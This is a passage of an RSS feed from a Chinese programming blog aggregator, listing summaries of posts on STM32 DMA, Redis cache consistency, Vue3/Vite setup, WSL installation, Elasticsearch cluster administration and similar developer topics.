      <description>目录 一、通过中断控制LED灯亮灭（1）创建项目（2）进入keil，重写回调函数 二、DMA发送用特定速率向上位机连续发送数据三、总结四、参考资料 一、通过中断控制LED灯亮灭 （1）创建项目 1.进入cubeMX，新建项目&#xA;2.选择芯片，并开始项目&#xA;3.点击sys，将debug选项改为Serial Wire&#xA;4.然后在Rcc里的HSE选择Crystal/Ceramic Resonator&#xA;5.将PB0选为外部中断触发器，PA1是控制led灯的，和将它选择为GPIO_output就行了&#xA;6.选择PLLCLK，然后将后面的晶振频率最大值改为72M赫兹&#xA;7.project里把toolchain那里改为MDK-ARM，版本选择最新的就行了，项目名和项目路径自己选择&#xA;8.选择生成初始化文件，然后选择生成代码就好了&#xA;这样项目就创建完成了！！&#xA;（2）进入keil，重写回调函数 1.函数代码&#xA;void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin){ GPIO_PinState b0_pin = HAL_GPIO_ReadPin(GPIOB, GPIO_PIN_0); // 读取b0的状态 b0_pin=1-b0_pin; switch (GPIO_Pin){//判断引脚 case GPIO_PIN_0: HAL_GPIO_WritePin(GPIOA, GPIO_PIN_1,1-b0_pin); // 将a1写入与b0相同的电位 break; } } 2.进入main.c，将函数写入3.烧入&#xA;4.结果&#xA;二、DMA发送用特定速率向上位机连续发送数据 1.打开cubeMX，新建项目&#xA;2.选择芯片，并开始项目&#xA;3.把芯片的PA9、PA10分别点成USART1_TX和USART1_RX，选择左边USART1,点开后点击下方add，添加两个USART后选择对的RX和TX。&#xA;4.然后再project manger界面填写项目名，选着路径，最后把IDE换为MDK-ARM&#xA;5.code generator里的这一项也需要勾上，勾上后create code，再打开keil:6.打开keil，在main.c中加入下面代码&#xA;while (1) { uint8_t send_char[]=&#34;hello world\n&#34;;//发送的字符串 HAL_UART_Transmit_DMA(&amp;amp;huart1,(uint8_t *)send_char,0xc);//DMA发送 HAL_Delay(500);//延时 } 7.结果&#xA;三、总结 中断的核心是NVIC，其中重点是嵌套，有了嵌套就有了优先级，DMA传输将数据从一个地址空间复制到另一个地址空间，提供在外设和存储器之间或者存储器和存储器之间的高速数据传输。转移数据（尤其是转移大量数据）是可以不需要CPU参与。&#xA;四、参考资料 stm32hal库串口DMA收发&#xA;【STM32】HAL库 STM32CubeMX教程十一—DMA (串口DMA发送接收)</description>
    </item>
    <item>
      <title>认识 MySQL 和 Redis 的数据一致性问题</title>
      <link>https://bchobby.github.io/posts/4cd7d91bb18bf98c4dba14740a2cc106/</link>
      <pubDate>Mon, 08 Nov 2021 18:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cd7d91bb18bf98c4dba14740a2cc106/</guid>
      <description>作者：sinxu，腾讯 CSIG 后台开发工程师&#xA;1. 什么是数据的一致性 “数据一致”一般指的是：缓存中有数据，缓存的数据值 = 数据库中的值。&#xA;但根据缓存中是有数据为依据，则”一致“可以包含两种情况：&#xA;缓存中有数据，缓存的数据值 = 数据库中的值（需均为最新值，本文将“旧值的一致”归类为“不一致状态”）&#xA;缓存中本没有数据，数据库中的值 = 最新值（有请求查询数据库时，会将数据写入缓存，则变为上面的“一致”状态）&#xA;”数据不一致“：缓存的数据值 ≠ 数据库中的值；缓存或者数据库中存在旧值，导致其他线程读到旧数据&#xA;2. 数据不一致情况及应对策略 根据是否接收写请求，可以把缓存分成读写缓存和只读缓存。&#xA;只读缓存：只在缓存进行数据查找，即使用 “更新数据库+删除缓存” 策略；&#xA;读写缓存：需要在缓存中对数据进行增删改查，即使用 “更新数据库+更新缓存”策略。&#xA;2.1 针对只读缓存（更新数据库+删除缓存） 只读缓存：新增数据时，直接写入数据库；更新（修改/删除）数据时，先删除缓存。后续，访问这些增删改的数据时，会发生缓存缺失，进而查询数据库，更新缓存。&#xA;新增数据时 ，写入数据库；访问数据时，缓存缺失，查数据库，更新缓存（始终是处于”数据一致“的状态，不会发生数据不一致性问题)&#xA;更新（修改/删除）数据时 ，会有个时序问题：更新数据库与删除缓存的顺序（这个过程会发生数据不一致性问题）&#xA;在更新数据的过程中，可能会有如下问题：&#xA;无并发请求下，其中一个操作失败的情况&#xA;并发请求下，其他线程可能会读到旧值&#xA;因此，要想达到数据一致性，需要保证两点：&#xA;无并发请求下，保证 A 和 B 步骤都能成功执行&#xA;并发请求下，在 A 和 B 步骤的间隔中，避免或消除其他线程的影响&#xA;接下来，我们针对有/无并发场景，进行分析并使用不同的策略。&#xA;A. 无并发情况 无并发请求下，在更新数据库和删除缓存值的过程中，因为操作被拆分成两步，那么就很有可能存在“步骤 1 成功，步骤 2 失败” 的情况发生（由于单线程中步骤 1 和步骤 2 是串行执行的，不太可能会发生 “步骤 2 成功，步骤 1 失败” 的情况）。&#xA;(1) 先删除缓存，再更新数据库&#xA;(2) 先更新数据库，再删除缓存</description>
    </item>
    <item>
      <title>vite.config.js配置(大坑)</title>
      <link>https://bchobby.github.io/posts/ff7d63674a46b538512c538a340bce3a/</link>
      <pubDate>Mon, 08 Nov 2021 17:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff7d63674a46b538512c538a340bce3a/</guid>
      <description>配置 import { defineConfig } from &#39;vite&#39;; import vue from &#39;@vitejs/plugin-vue&#39;; export default defineConfig({ plugins: [vue()], // 配置需要使用的插件列表 // 本地运行配置，及反向代理配置 server: { host: &#39;localhost&#39;, // 指定服务器主机名 port: 8080, // 指定服务器端口 open: true, // 在服务器启动时自动在浏览器中打开应用程序 https: false, // 是否开启 https }, }); 大坑：当我们这么配置好后，启动项目，发现项目启动不了，报错:&#xA;这个错误很容易忽略，是因为没有下载插件的原因：npm install @vitejs/plugin-vue -D一定要下载这个插件和配置对应的插件信息plugin:[vue()]</description>
    </item>
    <item>
      <title>vite创建vue3项目</title>
      <link>https://bchobby.github.io/posts/7ae9d8db004850fa064b0718ba4c1e9f/</link>
      <pubDate>Mon, 08 Nov 2021 17:18:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ae9d8db004850fa064b0718ba4c1e9f/</guid>
      <description>项目搭建 npm init vite-app xxxx yarn create vite-app xxxx cd xxxx cd xxxx npm install yarn npm run dev yarn dev 安装路由 // npm/yarn npm install vue-router@next yarn add vue-router@next // 创建文件 src/route/index.js import {createRouter, createWebHistory} from &#39;vue-router&#39; export const router = createRouter({ history: createWebHistory(), routes:[] }) // 挂载vue上 /main.js import {createApp} from &#39;vue&#39; import {router} from &#39;./router/index.js&#39; import app from &#39;./App.vue&#39;; createApp(app).use(router).mount(&#39;#app&#39;) // 在项目中使用 import {useRoute,useRouter} from &#39;vue-router&#39; setup(){ const router = useRouter() const route = useRoute() router.</description>
    </item>
    <item>
      <title>WSL的安装与运行</title>
      <link>https://bchobby.github.io/posts/d758d373ab98d5939470408242c062b8/</link>
      <pubDate>Sun, 07 Nov 2021 19:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d758d373ab98d5939470408242c062b8/</guid>
      <description>文章目录 前言一、什么是 WSL二、WSL 的安装1.启用 WSL2.Windows 功能设置3.检查电脑版本号4.安装 Linux 发行版 三、WSL 的运行1.cmd 运行2.Windows PowerShell 运行3.WSL 运行 四、Ubuntu中的文件在Windows下的存放位置总结 前言 本文的主要内容是WSL的安装与运行。&#xA;一、什么是 WSL WSL是 Windows下的Linux子系统的简称，它是一个在Windows 10上能够运行原生Linux二进制可执行文件的兼容层。&#xA;WSL提供了一个微软开发的Linux兼容但不包含Linux代码的内核接口，二进制文件可以在其上运行。WSL不能运行图形用户界面和那些需要未实现的Linux内核服务的软件，但可以用外部软件来实现。&#xA;二、WSL 的安装 1.启用 WSL 无论接下来要安装哪个版本的 WSL，都要先启用它。以管理员身份运行 Windows PowerShell ，然后输入如下命令启用WSL。&#xA;dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart&#xA;输入命令后回车，等待功能启用完成即可。&#xA;2.Windows 功能设置 在控制面板——&amp;gt;程序中依次按下图序号打开，勾选“适用于Linux的Windows子系统”。&#xA;3.检查电脑版本号 在设置——&amp;gt;系统——&amp;gt;关于中查看自己电脑的版本号。&#xA;4.安装 Linux 发行版 在Microsoft Store中（如果你的电脑中没有安装微软商城，点此下载微软商城下载）搜索Ubuntu，选择自己想要安装的版本安装即可。我这里安装的是Ubuntu 20.04 LTS（LTS是Long Term Support的简称，即长期支持）。&#xA;在安装界面下面有Windows的系统要求，在上一步中查看了自己的电脑版本号，如果低于这里的版本，就要先更新自己的电脑系统，然后再安装。&#xA;Ubuntu 20.04 LTS 安装完成后启动它，等待其安装一些配置，完成后便可以键入新的用户名和密码，如下图。&#xA;同时也将根目录密码一并设置了，方便以后操作。&#xA;三、WSL 的运行 1.cmd 运行 以管理员身份运行cmd，然后输入“bash”即可进入到Ubuntu系统下。&#xA;2.Windows PowerShell 运行 以管理员身份运行Windows PowerShell，然后输入“bash”即可进入到Ubuntu系统下。</description>
    </item>
    <item>
      <title>Vue3 props组件抽离</title>
      <link>https://bchobby.github.io/posts/5b1572a58596cd545a131c2f02df3ff7/</link>
      <pubDate>Sun, 07 Nov 2021 14:11:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b1572a58596cd545a131c2f02df3ff7/</guid>
      <description>引言 假设你已经了解了Vue3的setup函数，不了解的话可以先看看这篇文章。 拥抱Vue3 (二) setup函数_flow_camphor的博客-CSDN博客&#xA;在setup函数中我们知道它有两个参数，用于接收父组件传递参数的props、与负责表示上下文对象的context，在context中常用的是分发自定义事件的函数emit，用于组件抽象化后的通信。在了解了概念后我们可以在本文中动手抽象分离一个组件。&#xA;场景 现在假设需要抽象出一个移动端的顶部Header组件，首先想想一个顶部组件平时有哪些功能：名称、返回、返回主页、更多功能。如果某个页面不需要使用返回主页这个功能，使用时不进行参数传递即可。设置好props后在setup中打印props可以看到成功绑定的传参。&#xA;export default { props: { name: { type: String, default: &#39;&#39; }, back: { type: String, default: &#39;&#39; }, home: { type: Boolean, default: false }, more: { type: Boolean, default: false } } } 在处理完props传参后我们可以考虑context部分，比如说点击回退标签后触发某个事件，那么就会在身为调用者的父组件中绑定某个回调函数，在子组件emit后执行该函数。因此在和props同级的情况下声明将要emit的函数名称。这里贴出template部分与script部分的代码。&#xA;&amp;lt;template&amp;gt; &amp;lt;header class=&#34;simple-header van-hairline--bottom&#34;&amp;gt; &amp;lt;i v-if=&#34;!home&#34; class=&#34;nbicon nbfanhui&#34; @click=&#34;goBack&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;i v-else class=&#34;nbicon nbhome&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;div class=&#34;simple-header-name&#34;&amp;gt;{{ name }}&amp;lt;/div&amp;gt; &amp;lt;i v-if=&#34;more&#34; class=&#34;nbicon nbmore&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/header&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ref } from &#39;vue&#39; import { useRouter } from &#39;vue-router&#39; export default { props: { name: { type: String, default: &#39;&#39; }, back: { type: String, default: &#39;&#39; }, home: { type: Boolean, default: false }, more: { type: Boolean, default: false } }, emits: [&#39;callback&#39;], setup(props, context) { const home = ref(props.</description>
    </item>
    <item>
      <title>*力扣第76题：最小覆盖子串（滑动窗口、哈希表）</title>
      <link>https://bchobby.github.io/posts/2372595a101a048f1e816a8ade3822cd/</link>
      <pubDate>Sun, 07 Nov 2021 13:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2372595a101a048f1e816a8ade3822cd/</guid>
      <description> 一、题目内容 二、代码 public String minWindow(String s, String t) { HashMap&amp;lt;Character,Integer&amp;gt; hs=new HashMap&amp;lt;Character,Integer&amp;gt;(); HashMap&amp;lt;Character,Integer&amp;gt;ht =new HashMap&amp;lt;Character,Integer&amp;gt;(); for(int i=0;i&amp;lt;t.length();i++) { ht.put(t.charAt(i),ht.getOrDefault(t.charAt(i),0)+1); } String rnt=&#34;&#34;; int cnt=0; int len=1000000; for(int i=0,j=0;i&amp;lt;s.length();i++){ hs.put(s.charAt(i),hs.getOrDefault(s.charAt(i),0)+1); if(ht.containsKey(s.charAt(i))&amp;amp;&amp;amp;hs.get(s.charAt(i))&amp;lt;=ht.get(s.charAt(i))) cnt++; while(j&amp;lt;i&amp;amp;&amp;amp;(!ht.containsKey(s.charAt(j))||hs.get(s.charAt(j))&amp;gt;ht.get(s.charAt(j)))){ int count=hs.get(s.charAt(j))-1; hs.put(s.charAt(j),count); j++; } if(cnt==t.length()&amp;amp;&amp;amp;i-j+1&amp;lt;len){ len=i-j+1; rnt=s.substring(j,i+1); } } return rnt; } </description>
    </item>
    <item>
      <title>uni-app学习</title>
      <link>https://bchobby.github.io/posts/b9f8c70f1d7a53133e1d0b50a5515fbd/</link>
      <pubDate>Sun, 07 Nov 2021 10:38:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9f8c70f1d7a53133e1d0b50a5515fbd/</guid>
      <description>1.新建项目&#xA;2.项目结构&#xA;3.配置运行浏览器&#xA;4.运行到浏览器&#xA;5.运行效果</description>
    </item>
    <item>
      <title>Java下载服务器文件</title>
      <link>https://bchobby.github.io/posts/a8ab92ef814714cf0d1d67c446561d65/</link>
      <pubDate>Sat, 06 Nov 2021 23:06:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8ab92ef814714cf0d1d67c446561d65/</guid>
      <description>本文利用Java.net编写的网络客户端实现从服务器端下载文件的功能，本功能实现分三步：&#xA;1、创建本地待接收的远程文件。&#xA;2、创建本地至服务器端的远程连接。&#xA;3、将服务器端文件写入输入流，从输入流中将内容写入本地文件，完成文件下载。&#xA;代码如下： public static int downloadFile(String remoteURL,String fileDirectory,String fileName) { Path p=Paths.get(fileDirectory); File f_p=p.toFile(); try{ if(!f_p.exists()) { f_p.mkdir(); } File f=new File(p.toAbsolutePath().toString()+&#34;\\&#34;+fileName); if(!f.exists()) { f.createNewFile(); } FileOutputStream fos=new FileOutputStream(f); byte[] pb=new byte[1024]; URL url=new URL(remoteURL); URLConnection urlc=url.openConnection(); InputStream inputstream=urlc.getInputStream(); int length=-1; while(true) { length=inputstream.read(pb); if(length&amp;lt;0) { fos.flush(); break; } else { fos.write(pb,0,length); } } inputstream.close(); fos.close(); return 0; } catch(Exception e) { e.printStackTrace(); return -1; } 一、创建本地文件：</description>
    </item>
    <item>
      <title>Redis Could not create server TCP listening socket *:16379: listen: 提供了一个无效的参数。</title>
      <link>https://bchobby.github.io/posts/c7fd73fdee531e2fa890ae671ca12731/</link>
      <pubDate>Sat, 06 Nov 2021 22:12:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7fd73fdee531e2fa890ae671ca12731/</guid>
      <description>原文链接https://github.com/tporadowski/redis/issues/88&#xA;[16016] 26 Oct 14:30:01.264 # Redis successfully installed as a service.&#xA;[11692] 26 Oct 14:30:01.876 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo&#xA;[11692] 26 Oct 14:30:01.876 # Redis version=5.0.9, bits=64, commit=9414ab9b, modified=0, pid=11692, just started&#xA;[11692] 26 Oct 14:30:01.876 # Configuration loaded&#xA;[11692] 26 Oct 14:30:01.889 # Could not create server TCP listening socket *:16379: listen: 提供了一个无效的参数。&#xA;解决方法：&#xA;修改redis.windows.conf，把bind 127.0.0.1的注释去掉</description>
    </item>
    <item>
      <title>ES集群添加IK分词器</title>
      <link>https://bchobby.github.io/posts/9825c79aa5d5b15ec0a1845f3373c4dd/</link>
      <pubDate>Sat, 06 Nov 2021 19:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9825c79aa5d5b15ec0a1845f3373c4dd/</guid>
      <description>ES集群添加IK分词器 ES : 7.5.0&#xA;官方文档其实已经够优秀了，毕竟是中文的，这里只给出一些建议。&#xA;IKAnalyzer.cfg.xml 建议放到插件的目录下，要不然有可能会有一些问题&#xA;{plugins}/elasticsearch-analysis-ik-*/config/IKAnalyzer.cfg.xml 提供的http接口要支持head请求&#xA;&amp;lt;!--用户可以在这里配置远程扩展字典 --&amp;gt; &amp;lt;entry key=&#34;remote_ext_dict&#34;&amp;gt;location&amp;lt;/entry&amp;gt; &amp;lt;!--用户可以在这里配置远程扩展停止词字典--&amp;gt; &amp;lt;entry key=&#34;remote_ext_stopwords&#34;&amp;gt;http://xxx.com/xxx.dic&amp;lt;/entry&amp;gt; 这里的http://xxx.com/xxx.dic 请求方式是head请求，如果你像我们一样是通过一个http服务提供的接口，记得要支持head请求才行哦，最好是配置为支持各种post,get,head等</description>
    </item>
    <item>
      <title>Windows10安装anaconda</title>
      <link>https://bchobby.github.io/posts/42b5278a2de43fadee9cde78e9579422/</link>
      <pubDate>Sat, 06 Nov 2021 13:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42b5278a2de43fadee9cde78e9579422/</guid>
      <description>Windows10安装anaconda&#xA;1.官网下载安装包&#xA;官网下载Anaconda最新安装包：anaconda官网地址&#xA;2.下载完成后，找到下载文件双击该文件运行安装程序。依次点击next，I agree，选择All users，选择安装路径，下一步两个都勾选，点击安装。&#xA;3.一直点击下一步，最后一个取消勾选，完成。&#xA;4.安装结束后，打开电脑的CMD命令行（使用WIN徽标键+R， 然后输入CMD，点击OK），在其中输入 python，如果返回版本信息正确，则安装顺利完成。&#xA;如果出现上面警告，则需要激活conda版本中的python。&#xA;或者&#xA;conda activate base 再输入python查看。</description>
    </item>
    <item>
      <title>值得收藏的UmiJS 教程</title>
      <link>https://bchobby.github.io/posts/aed71b7effe66417c465447fd8b8f49e/</link>
      <pubDate>Sat, 06 Nov 2021 00:25:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aed71b7effe66417c465447fd8b8f49e/</guid>
      <description>点击上方关注 前端技术江湖，一起学习，天天进步&#xA;前言 网上的umi教程是真的少,很多人都只写了一点点，很多水文,所以打算自己写一篇,自己搭建umi,并封装了一下常用的功能,并用到公司实际项目中.&#xA;umi介绍 Umi 是什么？ Umi，中文可发音为乌米，是可扩展的企业级前端应用框架。Umi 以路由为基础的，同时支持配置式路由和约定式路由，保证路由的功能完备，并以此进行功能扩展。然后配以生命周期完善的插件体系，覆盖从源码到构建产物的每个生命周期，支持各种功能扩展和业务需求。&#xA;Umi 是蚂蚁金服的底层前端框架，已直接或间接地服务了 3000+ 应用，包括 java、node、H5 无线、离线（Hybrid）应用、纯前端 assets 应用、CMS 应用等。他已经很好地服务了我们的内部用户，同时希望他也能服务好外部用户。&#xA;它主要具备以下功能：&#xA;🎉 可扩展，Umi 实现了完整的生命周期，并使其插件化，Umi 内部功能也全由插件完成。此外还支持插件和插件集，以满足功能和垂直域的分层需求。&#xA;📦 开箱即用，Umi 内置了路由、构建、部署、测试等，仅需一个依赖即可上手开发。并且还提供针对 React 的集成插件集，内涵丰富的功能，可满足日常 80% 的开发需求。&#xA;🐠 企业级，经蚂蚁内部 3000+ 项目以及阿里、优酷、网易、飞猪、口碑等公司项目的验证，值得信赖。&#xA;🚀 大量自研，包含微前端、组件打包、文档工具、请求库、hooks 库、数据流等，满足日常项目的周边需求。&#xA;🌴 完备路由，同时支持配置式路由和约定式路由，同时保持功能的完备性，比如动态路由、嵌套路由、权限路由等等。&#xA;🚄 面向未来，在满足需求的同时，我们也不会停止对新技术的探索。比如 dll 提速、modern mode、webpack@5、自动化 external、bundler less 等等。&#xA;什么时候不用 umi？ 如果你，&#xA;需要支持 IE 8 或更低版本的浏览器&#xA;需要支持 React 16.8.0 以下的 React&#xA;需要跑在 Node 10 以下的环境中&#xA;有很强的 webpack 自定义需求和主观意愿&#xA;需要选择不同的路由方案&#xA;Umi 可能不适合你。</description>
    </item>
    <item>
      <title>android 传文件的同事带参数怎么操作?以及Map中多一对双引号的原因</title>
      <link>https://bchobby.github.io/posts/81e6c3af2181acfa1e79fd90bcbee360/</link>
      <pubDate>Fri, 05 Nov 2021 22:12:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81e6c3af2181acfa1e79fd90bcbee360/</guid>
      <description>一、安卓接口&#xA;@Multipart @POST(&#34;/video/upload&#34;) Observable&amp;lt;ResponseBody&amp;gt;pushVideo( @PartMap() Map&amp;lt;String, RequestBody&amp;gt; param,@Part MultipartBody.Part file); 二、Spring Boot端接口&#xA;public JSONResult upload(@RequestParam Map&amp;lt;String, Object&amp;gt; params, MultipartFile videoFile, HttpServletRequest request)&#xA;{&#xA;}</description>
    </item>
    <item>
      <title>把pdf转为高清jpg图片，其dpi为300以上</title>
      <link>https://bchobby.github.io/posts/e661ff3171d1319a9e6b042a0a964632/</link>
      <pubDate>Fri, 05 Nov 2021 19:41:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e661ff3171d1319a9e6b042a0a964632/</guid>
      <description> 把pdf转为高清jpg图片，其dpi为300以上 在用latex写好伪代码后生成的pdf，想生成jpg格式，可以用如下方法&#xA;工具：Adobe Acrobat Pro DC&#xA;如果是：文件&amp;gt;导出到&amp;gt;图像&#xA;这样的图像dpi较小，有很重的锯齿感。&#xA;正确姿势：&#xA;1. 点击窗口右侧“导出PDF” 2. 选择图像 3. 电机JPEG右侧的齿轮，然后根据需求设置即可 </description>
    </item>
    <item>
      <title>Elasticsearch 集群中增加专用master节点</title>
      <link>https://bchobby.github.io/posts/429dccd49a355fd6a49018b4bd58f4fb/</link>
      <pubDate>Fri, 05 Nov 2021 17:20:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/429dccd49a355fd6a49018b4bd58f4fb/</guid>
      <description> Elasticsearch 集群中增加专用master节点 文章目录 Elasticsearch 集群中增加专用master节点1.增加master节点2.排除原来的节点的选举权3.data节点重启操作4.删除exclusions ES版本 7.5.0&#xA;当前ES集群中有7个data+master节点，配置都比较高，集群的压力相对也比较大，所以计划加入3个专用的master节点，防止集群万一压力比较大的时候崩溃导致整个ES服务不可用。&#xA;操作过程&#xA;增加master节点排除原来的节点的选举权data节点重启操作删除exclusions 1.增加master节点 加入3个(2core+6G)的master节点。因为master节点只承担集群的元数据的管理和存储，所以对资源要求不高。 2.排除原来的节点的选举权 kibana console端将其他的data+master节点排除为可选举节点，参考&#xA;POST /_cluster/voting_config_exclusions/data2?timeout=1m POST /_cluster/voting_config_exclusions/data3?timeout=1m POST /_cluster/voting_config_exclusions/data4?timeout=1m 在这样操作完成后，新加入的节点中第一个就会成为真正的master&#xA;查看当前集群中有选举能力的节点和被剥夺选举能力的节点&#xA;GET /_cluster/state?filter_path=metadata.cluster_coordination GET _nodes/master:true 3.data节点重启操作 关闭集群的rebalance,并根据集群压力调整rebalance和allocation的并发度（后面恢复的时候使用）&#xA;PUT _cluster/settings { &#34;transient&#34; : { &#34;cluster.routing.rebalance.enable&#34; : &#34;none&#34;, &#34;cluster.routing.allocation.node_concurrent_recoveries&#34;:&#34;1&#34;, &#34;cluster.routing.allocation.cluster_concurrent_rebalance&#34;:&#34;1&#34; } } 执行Exclude 操作，将节点的数据去除（有时候节点数据过大有可能影响节点的重启），如果是数据分片是高可用的话，也可以直接关掉节点&#xA;PUT _cluster/settings { &#34;transient&#34; : { &#34;cluster.routing.allocation.exclude._name&#34; : &#34;data2&#34; } } 修改elasticsearch.yml配置文件，设置为master专用&#xA;node.master: false node.data: true 重启节点&#xA;4.删除exclusions 在全部的data节点重启完成后删掉原来的exclusions&#xA;DELETE _cluster/voting_config_exclusions?wait_for_removal=false </description>
    </item>
    <item>
      <title>一文读懂，为什么推荐采用嵌入式核心板开发产品？</title>
      <link>https://bchobby.github.io/posts/d83bca92ac784b1081de39497db0d1c5/</link>
      <pubDate>Fri, 05 Nov 2021 10:15:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d83bca92ac784b1081de39497db0d1c5/</guid>
      <description>一、什么是核心板&#xA;嵌入式核心板又叫System-On-Module(SOM)板卡，是一种将CPU、内存（DDR）、存储（eMMC或FLASH）、电源管理（PMIC，负责CPU的上电时序及CPU需求各种不同电压的输出）等集成芯片封装到一起的高集成度板卡，一般采用板对板连接器、邮票孔焊接、金手指、COM Express等形式与底板连接，并且核心板通常将CPU的所有功能引脚或大部分功能引脚引出，用户在设计产品时只需进行功能接口的外围电路设计，从而降低硬件开发难度，节省开发时间。&#xA;在软件方面，嵌入式核心板（以下简称核心板）一般已完成Linux（Build Root）、Ubuntu、Android、WinCE等嵌入式操作系统的移植适配，在完善各个接口驱动的同时还会适配Uboot、文件系统以及QT图形界面的移植开发，这样最终呈现给用户的是一个带图形界面的完整操作系统，最大程度方便了用户进行二次开发。&#xA;核心板作为一种独特的嵌入式板卡形式，与一体板相比优势明显，不但可以降低产品设计难度，加快产品上市时间，同时还便于产品迭代升级，减少维护工作量，因此在嵌入式系统所涉及的产品领域得到广泛应用。对于一些经验丰富的软、硬件工程师来说，可能还不了解采用核心板的开发方式或者不信赖核心板的产品模式，所以每当遇到有新项目开发便重新开始设计一体板，软件上还要重新移植Uboot、操作系统、QT等。如果时间充足、经验丰富这种方法是可行的，但有很多公司在硬件与底层驱动上基础相对薄弱，一旦设计过程出现失误，很可能导致整个项目搁置，影响产品上市。在人力不足的情况下，这样的工作无疑是在“重复造轮子”，无形中消耗了大量的人力物力。&#xA;其实，飞凌嵌入式的核心板经过多年的技术发展与品质沉淀，在集成度、稳定性、专业性等方面已经非常成熟，飞凌的企业级板卡对于用户进行产品开发能带来很多价值。接下来，让我们从产品开发角度来进一步了解。&#xA;二、嵌入式ARM终端产品开发难点&#xA;嵌入式处理器应用已非常广泛，但在进行终端产品开发时，硬件设计、软件开发、和生产维护上却有一些无法规避的痛点。&#xA;01、&#xA;硬件设计痛点&#xA;▲ 设计难度大：随着嵌入式技术的发展，嵌入式处理器的性能越来越高，与之相对的是开发难度也越来越大，已不是单片机工程师软硬通吃的时代了。从SDRAM到LPDDR4，内存速率越来越快，PCB层数也从早期4层就可以满足到现在动辄8-12层，对高速走线与硬件的仿真都有了很大的要求，开发投入隐性成本高。&#xA;▲ 设计周期长：从熟悉CPU的启动、内存选配到电源架构设计，动辄几百根连线，一般需要半年以上的时间完成硬件设计与测试；后互联网时代对产品上市效率的要求很高，可谓“时间就是金钱”，市场不会因为设计难度停下来等你。&#xA;▲ 稳定性测试复杂：高低温测试、压力测试、信号完整性测试、电源带载测试、长期运行稳定性测试、频繁断电、上电开关机测试等都需要有完备的测试设备与经验方能完成。任何一个环节测试不通过都有可能让设计重新来过，增加了工程师的压力。&#xA;以上这些问题，如果使用飞凌核心板呢？&#xA;采用飞凌核心板方式设计产品，因高速信号走线全部集中在核心板层面，用户只需进行外围功能接口电路设计，使产品PCB层数从8-12层变为2-4层，极大简化硬件设计难度，降低开发周期。同时，针对核心模块的各种复杂测试已经由飞凌完成，测试成本也会大幅降低。&#xA;02、&#xA;软件设计的痛点&#xA;▲ 系统移植周期长：适配一个符合产品需求的操作系统，需要很长的开发周期。文件系统裁剪、文档解读、适配硬件、BUG调试，种种工作无疑加大了开发难度，也延长了开发周期；&#xA;▲ 重复开发：企业在有不同的产品研发项目时，会根据产品的特性选择不同品牌或型号的嵌入式处理器，这些处理器的性能和价格不同。如果使用同一款处理器开发不同产品可能会发生性能过剩或者性能不足的情况，但是如果每个项目都选择不同型号的处理器开发又会出现重复开发和精力不足的问题。重要的是，终端产品企业的软件研发精力更适合投入到应用程序的开发，与硬件相关的kernel层需要随着处理器的变化而更改；&#xA;以上这些问题，如果使用飞凌核心板呢？&#xA;飞凌核心板的操作系统BSP包都是经过优化、修复、裁剪、测试之后输出的，使用习惯、功能特性体现、稳定性方面都更加符合用户需求。用户不再需要从芯片原厂几百G的资料一步一步做出符合自己功能需要的BSP，只需要从飞凌提供的已搭建好的开发环境按照软件手册操作即可，不但节省了开发周期，还能让用户的精力更加集中于应用程序的开发。&#xA;03、生产与维护的痛点&#xA;▲ 生产良率的控制难：嵌入式处理器开发的产品PCB层数多，且多数是高速信号，对PCB材质、物料品质、焊接质量要求很高，如果达不到生产的一致性会直接导致良品率的下降甚至会造成板卡在现场不稳定的情况。&#xA;▲ 产品维护周期长：高速信号对PCB阻抗要求高，材质的细微变化都很可能会导致内存参数的调整。加之一些行业的产品生命周期很长，动辄十年以上，过程中任何一个芯片的停产或更新都需要软硬件驱动的修改，虽然难度不大但始终都要有人维护，分散精力。&#xA;以上这些问题，如果使用飞凌核心板呢？&#xA;因为处理器、内存、存储以及电源管理等主要芯片都集成在核心板上，而飞凌所有核心板在出厂前都会经过严格的老化和测试，保证交付给用户的是合格的产品，所以从侧面提升了用户的产品稳定性，降低其生产难度。因为处理器、内存、存储等芯片生产工艺在不断更新迭代，软件更新在所难免，飞凌为了保证核心板的一致性，会不断对核心板进行维护升级，这也间接帮助用户减少了维护成本和精力投入。&#xA;结束语&#xA;医疗、工控、交通、电力、物联网···不同行业、不同产品对嵌入式处理器的需求不同，有的需求高性能，有的需求低成本，有的需求功能接口丰富。在嵌入式处理器百花齐放的市场，飞凌与NXP、全志、瑞芯微、TI、SAMSUNG、瑞萨等国内外多家芯片原厂达成战略合作关系，针对不同嵌入式处理器的特性推出了一系列核心板，既有专用网络加速的NXP DN产品处理器核心板，也有多媒体通用处理器核心板；既有可稳定运行于医疗设备及工业现场的核心板，也有符合电力系统的全国产化核心板，省去了不同行业用户因不同项目需求开发多款板卡的麻烦。而稳定可靠的嵌入式核心板，在产品研发阶段，带来的不只是研发难度的降低，研发周期的缩短，长远看还能节约产品批量化后的隐性成本。这也是为什么越来越多的企业选择使用核心板来开发产品，因为，对于工程师和企业主来说，既省心省力，还能让产品更稳定。</description>
    </item>
    <item>
      <title>SCP 命令实验</title>
      <link>https://bchobby.github.io/posts/907f1e6a8194dc211c022a7a49c7d53b/</link>
      <pubDate>Fri, 05 Nov 2021 03:03:59 +0800</pubDate>
